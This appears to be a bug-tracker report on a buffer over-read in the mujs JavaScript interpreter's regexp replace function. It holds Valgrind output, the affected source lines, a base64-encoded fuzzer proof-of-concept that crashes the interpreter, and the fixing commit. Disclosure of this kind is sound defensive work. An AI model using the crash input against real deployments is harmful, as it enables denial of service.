Description: This bug is a simple overflow located in function responsible for string substitution. No real impact other than reach beyond allocated stack. It will just crash as a result. Source file: mujs/jsstring.c:421 Function: Sp_replace_regexp Compile Flags CFLAGS += -g3 -ggdb -O0 Compile Command: make Valgrind short output: valgrind ../../temp/mujs/build/mujs /tmp/replace_regex-PoC1.txt ==62471== Memcheck, a memory error detector ==62471== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==62471== Using Valgrind-3.12.0.SVN and LibVEX; rerun with -h for copyright info ==62471== Command: ../../temp/mujs/build/mujs /tmp/replace_regex-PoC1.txt ==62471== ==62471== Invalid read of size 1 ==62471== at 0x427048: Sp_replace_regexp (jsstring.c:421) ==62471== by 0x427586: Sp_replace (jsstring.c:546) ==62471== by 0x40C573: jsR_callcfunction (jsrun.c:1015) ==62471== by 0x40C89D: js_call (jsrun.c:1057) ==62471== by 0x40E1E5: jsR_run (jsrun.c:1460) ==62471== by 0x40C3F2: jsR_callfunction (jsrun.c:982) ==62471== by 0x40C7C9: js_call (jsrun.c:1049) ==62471== by 0x40E1E5: jsR_run (jsrun.c:1460) ==62471== by 0x40C4B8: jsR_callscript (jsrun.c:998) ==62471== by 0x40C83D: js_call (jsrun.c:1053) ==62471== by 0x4046A1: js_dofile (jsstate.c:152) ==62471== by 0x401EBB: main (main.c:176) ==62471== Address 0x551e601 is 0 bytes after a block of size 49 alloc'd ==62471== at 0x4C2BBCF: malloc (vg_replace_malloc.c:299) ==62471== by 0x4040C6: js_defaultalloc (jsstate.c:17) ==62471== by 0x40906E: js_malloc (jsrun.c:34) ==62471== by 0x40912D: jsV_newmemstring (jsrun.c:55) ==62471== by 0x40965E: js_pushlstring (jsrun.c:130) ==62471== by 0x4279CA: Sp_split_string (jsstring.c:636) ==62471== by 0x427AC1: Sp_split (jsstring.c:656) ==62471== by 0x40C573: jsR_callcfunction (jsrun.c:1015) ==62471== by 0x40C89D: js_call (jsrun.c:1057) ==62471== by 0x40E1E5: jsR_run (jsrun.c:1460) ==62471== by 0x40C4B8: jsR_callscript (jsrun.c:998) ==62471== by 0x40C83D: js_call (jsrun.c:1053) ==62471== SyntaxError: (eval):1: unexpected character: \uFFFD at /tmp/replace_regex-PoC1.txt:1 ==62471== ==62471== HEAP SUMMARY: ==62471== in use at exit: 523,337 bytes in 2,003 blocks ==62471== total heap usage: 2,684 allocs, 681 frees, 1,166,359 bytes allocated ==62471== ==62471== LEAK SUMMARY: ==62471== definitely lost: 17,272 bytes in 1 blocks ==62471== indirectly lost: 506,065 bytes in 2,002 blocks ==62471== possibly lost: 0 bytes in 0 blocks ==62471== still reachable: 0 bytes in 0 blocks ==62471== suppressed: 0 bytes in 0 blocks ==62471== Rerun with --leak-check=full to see details of leaked memory ==62471== ==62471== For counts of detected and suppressed errors, rerun with: -v ==62471== ERROR SUMMARY: 287 errors from 1 contexts (suppressed: 0 from 0) Affected code: 406 if (js_iscallable(J, 2)) { 407 js_copy(J, 2); 408 js_pushundefinedthis(J); 409 for (x = 0; m.sub[x].sp; ++x) /* arg 0..x: substring and subexps that matched */ 410 js_pushlstring(J, m.sub[x].sp, m.sub[x].ep - m.sub[x].sp); 411 js_pushnumber(J, s - source); /* arg x+2: offset within search string */ 412 js_copy(J, 0); /* arg x+3: search string */ 413 js_call(J, 2 + x); 414 r = js_tostring(J, -1); 415 js_putm(J, &sb, source, s); 416 js_puts(J, &sb, r); 417 js_pop(J, 1); 418 } else { 419 r = js_tostring(J, 2); 420 js_putm(J, &sb, source, s); 421 while (*r) { 422 if (*r == '$') { 423 switch (*(++r)) { 424 case '$': js_putc(J, &sb, '$'); break; 425 case '`': js_putm(J, &sb, source, s); break; Proof Of Concept (base64 encoded): base64 /tmp/replace_regex-PoC1.txt ZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihkKXtyZXR1cm4gY307aWYoDCcn LnJlcGxhY2UoL14vJVN0cmluZykpe3doaWxlKGMtSyl7ZFtjXT1rW2NdfHxjfWs9W2Z1bmN0aW9u KGUpe3JldHVybiBDW2VdfV07ZT1mdW5jdGlvbigpe3JldHVybidcXHcrJ307Yz0xfTt3aGlsZShj LS0pe2lmKGtbY10pe2QvcC5yZXBsYWNlKG5ldyBSZWdFeHAoJ1xcYicrZShhKSsnXGV8JywnZycp LGtbY10pfX1yZXR1cm4gcH0oJ42NjY2NjY2NjY2ojY2NjY2Njd6NjY2NjY2NjY2NjY2NjY2NjY2N jY2NjY2NjY1TdHJpbmd8XzB4MjY0ZXiNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NMxAo MjM9a1tjXXx8Y31wPVtmdW5jdGlvbnwyMVwnLjQyKFwnfFwnKSwwLHt9KTMnLDEwLDUyLCfu09PT 09PT09PT09PT05aWlpaWlpaWlpaWlpaWlpaWlpaWlouLi4uLi4uLi4uLi4uLi4uLi4uWlpaWlpaW lpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlpaWlparlpaW lpaWlpaWlpaWlpaWlpaWlpaWlpaWlnx4MkZ8eDZBfHg2NHx4NDZ8eDQ0fDEwfHx4NzB8eDY3fHg3 JHxzcGxpdFN0cmluZ3xfMHgyNjRleDJ8eDYzfGNvbnNvbGV8eDRBfHgzQXx4MjJ8XFxlXFxJXFxk XFx2XFxxXFxqXFxkXFx2XFxxXFxsXFxkXFxHXFxxXFxwXFxkXFxVXFxjXFy9XCR8c3BsaXRTdHJp bmd8XzB4MjY0ZXgyfHg2M3xjb25zb2xlfHg0QXx4M0F8eDIyfHRlbXBlc3RTdHJpbmd8XzB4MjY0 ZYs0fHg1NHxfMHgyNjRleDN8c3BhY2V8eDRGm3g0RHxtb250aFN0cmluZ3x4NDF8eDYyfHg3OXxj b21tYXx4NzZ8eDc3fHgyRXx4NkR8eDJGfHg2QXx4NjRcXEVcXGVcXElcXGRcXHZcXHFcXGpcXGRc XHZcXHFcXGxcXGRcXEdcXHFcXHBcXGRcXFVcXGNcXL1cXGRcXERcXHRcXGtcXGRcXFhcXG1cXEtc XGRcXFNcXGtcXHQiLCJcN2EiLCJcXGRbWl07cih5KkMpO3J8jXx8eDIwfF8weDJiODd8eDY1fHgy Q3x4NjF8eDcyfHg3M3x4Njl8eDY4fHg2RXx4N1d8eDJFfPI2RHx4MkZ8eDZBfHg2NHx4NDZ8eDQ0 fDEwfHx43jB8eDY3fHg3NXxzcGxpdFN0PWtbY118fGN9cD1bZnVuY3Rpb258MnJpbmd0cmluZ3x4 NDF8eDYyfHg3OXxjb21tYXx4NzZ8eDc3fHgyRXx4eDR1fHg0NHwxMHx8eDcwfHg2N1N0cmluZ3xf MHx4NEF8eDNBfHgyMnx0ZW1wbGV8eDRBfHgzQXx8eDc5fAFvbW1hfHg3Nnx4Nzd8eDJFfHg2RHx4 MkZ8eDZBfHg2NHx8eDc1fHNw/2l0U3RyaW5nfF8weDI2NGV4Mnx4NjN8Y29uc29sZXx4NEF8eDNB fHhcZFxcRFxcdFxca1xcZFxcWFxcbVxcS1xcZFxcU1xca1xcdCIsIlw3YSIsIlxcZFtaXTtyKHkq Qyk7cnyNfHx4MjB8XzB4MmI4N3x4NjV8eDJDfHg2MXx4NzJ8eDczfHg2OXx4Njh8eDZFfHg3V3x4 MkV88jZEfHgyRnx4NkF8eDY0fHg0Nnx4NDR8MTB8fHjeMHx4Njd8eDc1fHNwbGl0U3Q9a1tjXXx8 Y31wPVtmdW5jdGlvbnwycmluZ3RyaW5nfHg0MXx4NjJ8eDc5fGNvbW1hfHg3Nnx4Nzd8eDJFfHh4 NHV8eDQ0fDEwfHx4NzB8eDY3U3RyaW5nfF8wfHg0QXx4M0F8eDIyfHRlbXBsZXx4NEF8eDNBfHx4 Nzl8AW9tbWF8eDc2fHg3N3x4MkV8eDZEfHgyRnx4NkF8eDY0fHx4NzV8c3D/aXRTdHJpbmd8XzB4 MjY0ZXgyfHg2M3xjb25zb2xlfHg0QXx4M0F8eDIyfHRyaW5nfF8weDI2NGV4NHx4NTR8XzB4MjY0 ZXgzfHNwYWNlfHg0Rnx4NER8bW9udGhTdHJpbmd8eDQxfHg2Mnx4Nzl8Y29tbWF8eDc2fHg3N3x4 MkV8eDZEfHgyRnx4NkF8eDY0fHg0Nnx4NDR8MTB8bjUzfDExfDEyfHg0RXxmdW5jdGlvbp8xMycu c3BsaXQoJ3wnKSwwLHt9KSkKCg== Proof Of Concept execution: base64 -d /tmp/b64PoC.poc > /tmp/proof.txt valgrind ../../temp/mujs/build/mujs /tmp/proof.txt
Could you provide a simplified example that actually runs? The provided example fails with SyntaxError: (eval):1: unexpected character: \uFFFD at proof.txt:1
Ignore my previous comment; I can reproduce the error.
commit 5000749f5afe3b956fc916e407309de840997f4a Author: Tor Andersson <tor.andersson@artifex.com> Date: Wed Sep 21 16:02:11 2016 +0200 Fix bug 697141: buffer overrun in regexp string substitution. A '$' escape at the end of the string would read past the zero terminator when looking for the escaped character.